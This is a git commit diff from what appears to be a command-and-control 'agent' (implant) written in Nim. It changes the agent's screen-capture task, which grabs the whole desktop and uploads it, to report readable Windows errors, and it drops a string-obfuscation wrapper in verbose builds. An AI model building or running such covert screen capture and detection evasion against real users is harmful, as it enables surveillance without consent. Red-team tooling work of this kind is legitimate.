Implemented human-readable error messages for Windows API and Native API errors using FormatMessageW. Removed string obfuscation/protection when agent is built with verbose flag.

This commit is contained in:
Jakob Friedl
2025-10-21 22:37:57 +02:00
parent 7e6b0c8442
commit 51748639de
11 changed files with 116 additions and 105 deletions

View File

@@ -83,17 +83,17 @@ when defined(agent):
# Obtain handle to the device context for the entire screen
deviceCtx = GetDC(0)
if deviceCtx == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: ReleaseDC(0, deviceCtx)
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
if gdiCurrent == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: DeleteObject(gdiCurrent)
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
# Construct BMP headers
# Calculate amount of bits required to represent screenshot
@@ -114,13 +114,13 @@ when defined(agent):
screenshotLength = bmpFileHeader.bfSize
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
if screenshotBytes == NULL:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
# Assembly the bitmap image
memDeviceCtx = CreateCompatibleDC(deviceCtx)
if memDeviceCtx == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: ReleaseDC(0, memDeviceCtx)
# Initialize BITMAPINFO with prepared info header
@@ -128,12 +128,12 @@ when defined(agent):
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
if bmpSection == 0 or bitsBuffer == NULL:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
# Select the newly created bitmap into the memory device context
gdiObject = SelectObject(memDeviceCtx, bmpSection)
if gdiObject == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: DeleteObject(gdiObject)
# Copy the screen content from the source device context to the memory device context
@@ -145,7 +145,7 @@ when defined(agent):
resX, resY, # Source coordinates
SRCCOPY # Copy source directly to destination
) == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
# Return the screenshot as a seq[byte]
result = newSeq[byte](screenshotLength)
@@ -156,7 +156,7 @@ when defined(agent):
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
try:
print protect(" [>] Taking and uploading screenshot.")
print " [>] Taking and uploading screenshot."
let
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"